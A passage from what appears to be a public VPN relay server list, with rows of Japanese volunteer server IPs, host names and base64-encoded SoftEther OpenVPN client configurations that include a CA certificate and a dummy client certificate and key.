YzRFZk4wRGhLUk5iNHJZb1NpRUdUTHl6THB5QmMvQTI4RGxrbTVlT1kNCmZqelhmWWtHdFlpL0Z0eGtnM085dmNyTVE0KzZpK3VHSGFJTDJyTCtzNE1yZk84djF4djYrV2t5MzNFRUdDb3UNClFpd1ZHUkZRWG5Sb1E2Mk5CQ0ZiVU5MaG1Yd2RqMWFrWnpMVTRwNVI0ekEzUWhkeHdFSWF0Vkx0MCs3b3dMUTMNCmxQOHNmWGhwcFBPWGpUcU1ENFFrWXd6UEFhOC96RjdhY240a3J5clVQN1E2UEFmZDB6RVZxTnk5WkNaOWZmaG8NCnpYZWRGajQ4NklGb2M1Z25UcDJONmpzblZqNExDR0lobFZIbFlHb3pLS0ZxSmNRVkdzSENxcTFvejJ6alc2TFMNCm9SWUlIZ0VDZ1lFQTh6WnJrQ3dOWVNYSnVPREozbS9oT0xWeGN4Z0p1d1hvaUVyV2QwRTQydlBhbmpqVk1obnQNCktZNWw4cUdNSjZGaEs5TFl4MnFDcmYvRTBYdFVBWjJ3VnEzT1JUeUduc01XcmU5dExZczU1WCtaTjEwVGM3NXoNCjRoYWNiVTBocUtOMUhpRG1zTVJZMy8yTmFaSG95N01LbndKSkJhRzQ4bDlDQ1RsVndNSG9jSUVDZ1lFQThqYnkNCmRHanhUSCs2WEhXTml6YjVTUmJaeEFueUVlSmVSd1RNaDBnR3p3R1BwSC9zWllHenl1MFN5U1hXQ25aaDNSZ3ENCjV1TGxOeHRyWHJsalpseWkyblFkUWdzcTJZcldVczAremdVKzIydVFzWnBTQWZ0bWhWcnR2ZXQ2TWpWamJCeVkNCkRBRGNpRVZVZEpZSVhrK3FuRlVKeWVyb0xJa1RqN1dZS1o2Umprc0NnWUJvQ0ZJd1JEZWc0Mm9LODlSRm1uT3INCkx5bU5BcTQrMm9NaHNXbFZiNGVqV0lXZUFrOW5jK0dYVWZyWHN6UmhTMDFtVW5VNXI1eWdVdlJjYXJWL1QzVTcNClRuTVorSTdZNERnV1JJRGQ1MXpuaHhJQnRZVjVqL0MvdDg1SGpxT2tIKzhiNlJUa2JjaGFYM21hdTdmcFVmZHMNCkZxMG5oSXE0MmZoRU84c3JmWVl3Z1FLQmdRQ3loaTFOLzh0YVJ3cGsrMy9JREV6UXdqYmZkelVrV1dTRGs5WHMNCkgvcGt1UkhXZlRNUDNmbFdxRVlnVy9MVzQwcGVXMkhEcTVpbWRWOCtBZ1p4ZS9YTWJhamk5TGd3ZjFSWTAwNW4NCkt4YVpRejd5cUh1cFdsTEdGNjhEUEh4a1pWVlNhZ0RuVi9zenRXWDZTRnNDcUZWbnhJWGlmWEdDNGNXNU5tOWcNCnZhOHE0UUtCZ1FDRWhMVmVVZmR3S3ZrWjk0Zy9HRno3MzFaMmhyZFZoZ01aYVUvdTZ0MFY5NStZZXpQTkNRWkINCndtRTlNbWxicTFlbURlUk9pdmpDZm9HaFIza1pYVzFwVEtsTGg2Wk1VUVVPcHB0ZFh2YThYeGZvcVF3YTNlbkENCk03bXVCYkYwWE43Vk84MGlKUHYrUG1JWmRFSUFrcHdLZmkyMDFZQitCYWZDSXVHeElGNTBWZz09DQotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQ0KDQo8L2tleT4NCg0K +vpn201737691,220.148.168.9,929328,5,439415947,Japan,JP,63,181947195,278546,90477314854557,2weeks,LAPTOP-BIQES9CL's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAyMjAuMTQ4LjE2OC45IDE3MjYNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBIVFRQL0hUVFBTIHByb3h5IHNldHRpbmcuDQojIA0KIyBPbmx5IGlmIHlvdSBoYXZlIHRvIHVzZSB0aGUgSW50ZXJuZXQgdmlhIGEgcHJveHksIHVuY29tbWVudCB0aGUgYmVsb3cNCiMgdHdvIGxpbmVzIGFuZCBzcGVjaWZ5IHRoZSBwcm94eSBhZGRyZXNzIGFuZCB0aGUgcG9ydCBudW1iZXIuDQojIEluIHRoZSBjYXNlIG9mIHVzaW5nIHByb3h5LWF1dGhlbnRpY2F0aW9uLCByZWZlciB0aGUgT3BlblZQTiBtYW51YWwuDQoNCjtodHRwLXByb3h5LXJldHJ5DQo7aHR0cC1wcm94eSBbcHJveHkgc2VydmVyXSBbcHJveHkgcG9ydF0NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBlbmNyeXB0aW9uIGFuZCBhdXRoZW50aWNhdGlvbiBhbGdvcml0aG0uDQojIA0KIyBEZWZhdWx0IHNldHRpbmcgaXMgZ29vZC4gTW9kaWZ5IGl0IGFzIHlvdSBwcmVmZXIuDQojIFdoZW4geW91IHNwZWNpZnkgYW4gdW5zdXBwb3J0ZWQgYWxnb3JpdGhtLCB0aGUgZXJyb3Igd2lsbCBvY2N1ci4NCiMgDQojIFRoZSBzdXBwb3J0ZWQgYWxnb3JpdGhtcyBhcmUgYXMgZm9sbG93czoNCiMgIGNpcGhlcjogW05VTEwtQ0lQSEVSXSBOVUxMIEFFUy0xMjgtQ0JDIEFFUy0xOTItQ0JDIEFFUy0yNTYtQ0JDIEJGLUNCQw0KIyAgICAgICAgICBDQVNULUNCQyBDQVNUNS1DQkMgREVTLUNCQyBERVMtRURFLUNCQyBERVMtRURFMy1DQkMgREVTWC1DQkMNCiMgICAgICAgICAgUkMyLTQwLUNCQyBSQzItNjQtQ0JDIFJDMi1DQkMgQ0FNRUxMSUEtMTI4LUNCQyBDQU1FTExJQS0xOTItQ0JDIENBTUVMTElBLTI1Ni1DQkMNCiMgIGRhdGEtY2lwaGVyczogc2FtZSBhcyBjaXBoZXINCiMgIGF1dGg6ICAgU0hBIFNIQTEgU0hBMjU2IFNIQTM4NCBTSEE1MTIgTUQ1IE1ENCBSTUQxNjANCiMNCiMgTm90ZTogVG8gc29sdmUgT3BlblZQTiBjb21wYXRpYmlsaXR5IGJ1Zw0KIyBSZWNlbnQgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwIHJlcXVpcmUgc3BlY2lmeWluZyB0aGUgImRhdGEtY2lwaGVycyINCiMgZmllbGQgaW5zdGVhZCBvZiB0aGUgImNpcGhlciIgZmllbGQuIEhvd2V2ZXIsIG9sZGVyIHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcA0KIyBkbyBub3QgcmVjb2duaXplICJkYXRhLWNpcGhlcnMuIiBSYXRoZXIgdGhhbiBpZ25vcmluZyBpdCwgdGhleSBwcm9kdWNlDQojIGEgc3RhcnR1cCBlcnJvciBzdGF0aW5nIHRoYXQgIm5vIHN1Y2ggb3B0aW9uIGV4aXN0cy4iIFRoaXMgaXMgYSBidWcNCiMgaW4gT3BlblZQTi4gSWYgeW91IGVuY291bnRlciB0aGlzIGlzc3VlLCBwbGVhc2UgY29tbWVudCBvdXQNCiMgdGhlICJkYXRhLWNpcGhlcnMiIGxpbmUuDQoNCmNpcGhlciBBRVMtMTI4LUNCQw0KZGF0YS1jaXBoZXJzIEFFUy0xMjgtQ0JDDQphdXRoIFNIQTENCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIE90aGVyIHBhcmFtZXRlcnMgbmVjZXNzYXJ5IHRvIGNvbm5lY3QgdG8gdGhlIFZQTiBTZXJ2ZXIuDQojIA0KIyBJdCBpcyBub3QgcmVjb21tZW5kZWQgdG8gbW9kaWZ5IGl0IHVubGVzcyB5b3UgaGF2ZSBhIHBhcnRpY3VsYXIgbmVlZC4NCg0KcmVzb2x2LXJldHJ5IGluZmluaXRlDQpub2JpbmQNCnBlcnNpc3Qta2V5DQpwZXJzaXN0LXR1bg0KY2xpZW50DQp2ZXJiIDMNCiNhdXRoLXVzZXItcGFzcw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNlcnRpZmljYXRlIGZpbGUgb2YgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIuDQojIA0KIyBUaGUgQ0EgY2VydGlmaWNhdGUgZmlsZSBpcyBlbWJlZGRlZCBpbiB0aGUgaW5saW5lIGZvcm1hdC4NCiMgWW91IGNhbiByZXBsYWNlIHRoaXMgQ0EgY29udGVudHMgaWYgbmVjZXNzYXJ5Lg0KIyBQbGVhc2Ugbm90ZSB0aGF0IGlmIHRoZSBzZXJ2ZXIgY2VydGlmaWNhdGUgaXMgbm90IGEgc2VsZi1zaWduZWQsIHlvdSBoYXZlIHRvDQojIHNwZWNpZnkgdGhlIHNpZ25lcidzIHJvb3QgY2VydGlmaWNhdGUgKENBKSBoZXJlLg0KDQo8Y2E+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUZhekNDQTFPZ0F3SUJBZ0lSQUlJUXo3RFNRT05aUkdQZ3UyT0Npd0F3RFFZSktvWklodmNOQVFFTEJRQXcNClR6RUxNQWtHQTFVRUJoTUNWVk14S1RBbkJnTlZCQW9USUVsdWRHVnlibVYwSUZObFkzVnlhWFI1SUZKbGMyVmgNCmNtTm9JRWR5YjNWd01SVXdFd1lEVlFRREV3eEpVMUpISUZKdmIzUWdXREV3SGhjTk1UVXdOakEwTVRFd05ETTQNCldoY05NelV3TmpBME1URXdORE00V2pCUE1Rc3dDUVlEVlFRR0V3SlZVekVwTUNjR0ExVUVDaE1nU1c1MFpYSnUNClpYUWdVMlZqZFhKcGRIa2dVbVZ6WldGeVkyZ2dSM0p2ZFhBeEZUQVRCZ05WQkFNVERFbFRVa2NnVW05dmRDQlkNCk1UQ0NBaUl3RFFZSktvWklodmNOQVFFQkJRQURnZ0lQQURDQ0Fnb0NnZ0lCQUszb0pIUDBGRGZ6bTU0clZ5Z2MNCmg3N2N0OTg0a0l4dVBPWlhvSGozZGNLaS92VnFidllBVHlqYjNtaUdiRVNUdHJGai9SUVNhNzhmMHVveG15RisNCjBUTTh1a2oxM1huZnM3ai9FdkVobWt2QmlvWnhhVXBtWm15UGZqeHd2NjBwSWdiejVNRG1nSzdpUzQrM21YNlUNCkE1L1RSNWQ4bVVnalUrZzRyazhLYjRNdTBVbFhqSUIwdHRvdjBEaU5ld053SVJ0MThqQTgrbyt1M2RwanErc1cNClQ4S09FVXQrend2by83VjNMdlN5ZTByZ1RCSWxESENOQXltZzRWTWs3QlBaN2htL0VMTktqRCtKbzJGUjNxeUgNCkI1VDBZM0hzTHVKdlc1aUI0WWxjTkhsc2R1ODdrR0o1NXR1a21pOG14ZEFRNFE3ZTJSQ09GdnUzOTZqM3grVUMNCkI1aVBOZ2lWNStJM2xnMDJkWjc3RG5LeEhadThBL2xKQmRpQjNRVzBLdFpCNmF3QmRwVUtEOWpmMWIwU0h6VXYNCktCZHMwcGpCcUFsa2QyNUhON3JPckZsZWFKMS9jdGFKeFFaQktUNVpQdDBtOVNUSkVhZGFvMHhBSDBhaG1iV24NCk9sRnVoanVlZlhLbkVnVjRXZTArVVhnVkN3T1BqZEF2QmJJK2Uwb2NTM01GRXZ6RzZ1QlFFM3hEazNTenluVG4NCmpoOEJDTkF3MUZ0eE5yUUh1c0V3TUZ4SXQ0STdtS1o5WUlxaW95bUN6THE5Z3dRYm9vTURRYUhXQmZFYndyYncNCnFIeUdPMGFvU0NxSTNIYWFkcjhmYXFVOUdZL3JPUE5rM3NnckRRb28vL2ZiNGhWQzFDTFFKMTNoZWY0WTUzQ0kNCnJVN20yWXM2eHQwblVXNy92R1QxTTBOUEFnTUJBQUdqUWpCQU1BNEdBMVVkRHdFQi93UUVBd0lCQmpBUEJnTlYNCkhSTUJBZjhFQlRBREFRSC9NQjBHQTFVZERnUVdCQlI1dEZubWU3Ymw1QUZ6Z0FpSXlCcFk5dW1iYmpBTkJna3ENCmhraUc5dzBCQVFzRkFBT0NBZ0VBVlI5WXFieXlxRkRRRExIWUdta2dKeWtJckdGMVhJcHUrSUxsYVMvVjlsWkwNCnViaHpFRm5USVpkKzUweHgrN0xTWUswNXFBdnFGeUZXaGZGUURsbnJ6dUJaNmJySkZlK0duWStFZ1BiazZaR1ENCjNCZWJZaHRGOEdhVjBueHZ3dW83N3gvUHk5YXVKL0dwc01pdS9YMSttdm9pQk92LzJYL3FrU3Npc1JjT2ovS0sNCk5GdFkyUHdCeVZTNXVDYk1pb2d6aVV3dGhEeUMzKzZXVndXNkxMdjN4TGZIVGp1Q3ZqSElJbk56a3RIQ2dLUTUNCk9SQXpJNEpNUEorR3NsV1lIYjRwaG93aW01N2lhenRYT29Kd1Rkd0p4NG5MQ2dkTmJPaGRqc252enF2SHU3VXINClRrWFdTdEFtek9WeXlnaHFwWlhqRmFIM3BPM0pMRitsKy8rc0tBSXV2dGQ3dStOeGU1QVcwd2RlUmxOOE53ZEMNCmpOUEVscHpWbWJVcTRKVWFnRWl1VERrSHpzeEhwRktWSzdxNCs2M1NNMU45NVIxTmJkV2hzY2RDYitaQUp6VmMNCm95aTNCNDNualRPUTV5T2YrMUNjZVd4RzFiUVZzNVp1ZnBzTWxqcTRVaTAvMWx2aCt3akNoUDRrcUtPSjJxeHENCjRSZ3FzYWhEWVZ2VEg5dzdqWGJ5TGVpTmRkOFhNMnc5VS90N3kwRmYvOXlpMEdFNDRaYTRyRjJMTjlkMTFUUEENCm1SR3VuVUhCY25XRXZnSkJRbDluSkVpVTBac252Z2MvdWJoUGdYUlI0WHEzN1owajRyN2cxU2dFRXp3eEE1N2QNCmVteVB4Z2NZeG4vZVI0NC9LSjRFQnMrbFZEUjN2ZXlKbStrWFE5OWIyMS8ramg1WG9zMUFuWDVpSXRyZUdDYz0NCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jYT4NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjbGllbnQgY2VydGlmaWNhdGUgZmlsZSAoZHVtbXkpLg0KIyANCiMgSW4gc29tZSBpbXBsZW1lbnRhdGlvbnMgb2YgT3BlblZQTiBDbGllbnQgc29mdHdhcmUNCiMgKGZvciBleGFtcGxlOiBPcGVuVlBOIENsaWVudCBmb3IgaU9TKSwNCiMgYSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZSBhbmQgcHJpdmF0ZSBrZXkgbXVzdCBiZSBpbmNsdWRlZCBvbiB0aGUNCiMgY29uZmlndXJhdGlvbiBmaWxlIGR1ZSB0byB0aGUgbGltaXRhdGlvbiBvZiB0aGUgY2xpZW50Lg0KIyBTbyB0aGlzIHNhbXBsZSBjb25maWd1cmF0aW9uIGZpbGUgaGFzIGEgZHVtbXkgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUNCiMgYW5kIHByaXZhdGUga2V5IGFzIGZvbGxvd3MuDQoNCjxjZXJ0Pg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlDeGpDQ0FhNENBUUF3RFFZSktvWklodmNOQVFFRkJRQXdLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zDQphV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRTUI0WERURXpNREl4TVRBek5EazBPVm9YRFRNM01ERXhPVEF6DQpNVFF3TjFvd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnNhV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRDQpNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBDQo1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JEDQo0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRDQpDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3DQpYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpOLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZoDQpwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEDQp5d0lEQVFBQk1BMEdDU3FHU0liM0RRRUJCUVVBQTRJQkFRQ2hPNWhnY3cvNG9XZm9FRkx1OWtCYTFCLy9reEg4DQpoUWtDaFZObjhCUkM3WTBVUlFpdFBsM0RLRWVkOVVSQkRkZzJLT0F6NzdiYjZFTlBpbGlEK2EzOFVKSElSTXFlDQpVQkhobGxPSEl6dkRoSEZiYW92QUxCUWNlZUJ6ZGtReHNLUUVTS21RbVI4MzI5NTBVQ292b3lSQjYxVXlBVjdoDQorbVpoWVBHUktYS1NKSTZzMEVnZy9DcmkrQ3drNGJqSmZyYjVoVnNlMTF5aDREOU1IaHdTZkNPSCswejRoUFVUDQpGa3U3ZEdhdlVSTzVTVnhNbi9zTDZFbjVEK29TZVhrYWRIcERzK0FpcnltMllIaDE1aDAralBTT29SNnlpVnAvDQo2elplWmtyTjQza3VTNzNLcEtERmpmRlBoOHQ0cjFnT0lqdHRrTmNRcUJjY3VzbnBsUTdISnBzaw0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NlcnQ+DQoNCjxrZXk+DQotLS0tLUJFR0lOIFJTQSBQUklWQVRFIEtFWS0tLS0tDQpNSUlFcEFJQkFBS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkE1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSDQp3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQ0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jDQp6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1FDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpDQo1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjdYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpODQovMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmhwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBDQptcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0R5d0lEQVFBQkFvSUJBRVJWN1g1QXZ4QTh1UmlLDQprOFNJcHNEMGRYMXBKT01Jd2FrVVZ5dmM0RWZOMERoS1JOYjRyWW9TaUVHVEx5ekxweUJjL0EyOERsa201ZU9ZDQpmanpYZllrR3RZaS9GdHhrZzNPOXZjck1RNCs2aSt1R0hhSUwyckwrczRNcmZPOHYxeHY2K1dreTMzRUVHQ291DQpRaXdWR1JGUVhuUm9RNjJOQkNGYlVOTGhtWHdkajFha1p6TFU0cDVSNHpBM1FoZHh3RUlhdFZMdDArN293TFEzDQpsUDhzZlhocHBQT1hqVHFNRDRRa1l3elBBYTgvekY3YWNuNGtyeXJVUDdRNlBBZmQwekVWcU55OVpDWjlmZmhvDQp6WGVkRmo0ODZJRm9jNWduVHAyTjZqc25WajRMQ0dJaGxWSGxZR296S0tGcUpjUVZHc0hDcXExb3oyempXNkxTDQpvUllJSGdFQ2dZRUE4elpya0N3TllTWEp1T0RKM20vaE9MVnhjeGdKdXdYb2lFcldkMEU0MnZQYW5qalZNaG50DQpLWTVsOHFHTUo2RmhLOUxZeDJxQ3JmL0UwWHRVQVoyd1ZxM09SVHlHbnNNV3JlOXRMWXM1NVgrWk4xMFRjNzV6DQo0aGFjYlUwaHFLTjFIaURtc01SWTMvMk5hWkhveTdNS253SkpCYUc0OGw5Q0NUbFZ3TUhvY0lFQ2dZRUE4amJ5DQpkR2p4VEgrNlhIV05pemI1U1JiWnhBbnlFZUplUndUTWgwZ0d6d0dQcEgvc1pZR3p5dTBTeVNYV0NuWmgzUmdxDQo1dUxsTnh0clhybGpabHlpMm5RZFFnc3EyWXJXVXMwK3pnVSsyMnVRc1pwU0FmdG1oVnJ0dmV0Nk1qVmpiQnlZDQpEQURjaUVWVWRKWUlYaytxbkZVSnllcm9MSWtUajdXWUtaNlJqa3NDZ1lCb0NGSXdSRGVnNDJvSzg5UkZtbk9yDQpMeW1OQXE0KzJvTWhzV2xWYjRlaldJV2VBazluYytHWFVmclhzelJoUzAxbVVuVTVyNXlnVXZSY2FyVi9UM1U3DQpUbk1aK0k3WTREZ1dSSURkNTF6bmh4SUJ0WVY1ai9DL3Q4NUhqcU9rSCs4YjZSVGtiY2hhWDNtYXU3ZnBVZmRzDQpGcTBuaElxNDJmaEVPOHNyZllZd2dRS0JnUUN5aGkxTi84dGFSd3BrKzMvSURFelF3amJmZHpVa1dXU0RrOVhzDQpIL3BrdVJIV2ZUTVAzZmxXcUVZZ1cvTFc0MHBlVzJIRHE1aW1kVjgrQWdaeGUvWE1iYWppOUxnd2YxUlkwMDVuDQpLeGFaUXo3eXFIdXBXbExHRjY4RFBIeGtaVlZTYWdEblYvc3p0V1g2U0ZzQ3FGVm54SVhpZlhHQzRjVzVObTlnDQp2YThxNFFLQmdRQ0VoTFZlVWZkd0t2a1o5NGcvR0Z6NzMxWjJocmRWaGdNWmFVL3U2dDBWOTUrWWV6UE5DUVpCDQp3bUU5TW1sYnExZW1EZVJPaXZqQ2ZvR2hSM2taWFcxcFRLbExoNlpNVVFVT3BwdGRYdmE4WHhmb3FRd2EzZW5BDQpNN211QmJGMFhON1ZPODBpSlB2K1BtSVpkRUlBa3B3S2ZpMjAxWUIrQmFmQ0l1R3hJRjUwVmc9PQ0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0NCg0KPC9rZXk+DQoNCg== +vpn980909101,180.144.58.58,899828,22,2210538,Japan,JP,28,430532195,41306,676786950434,2weeks,Aida-PC's 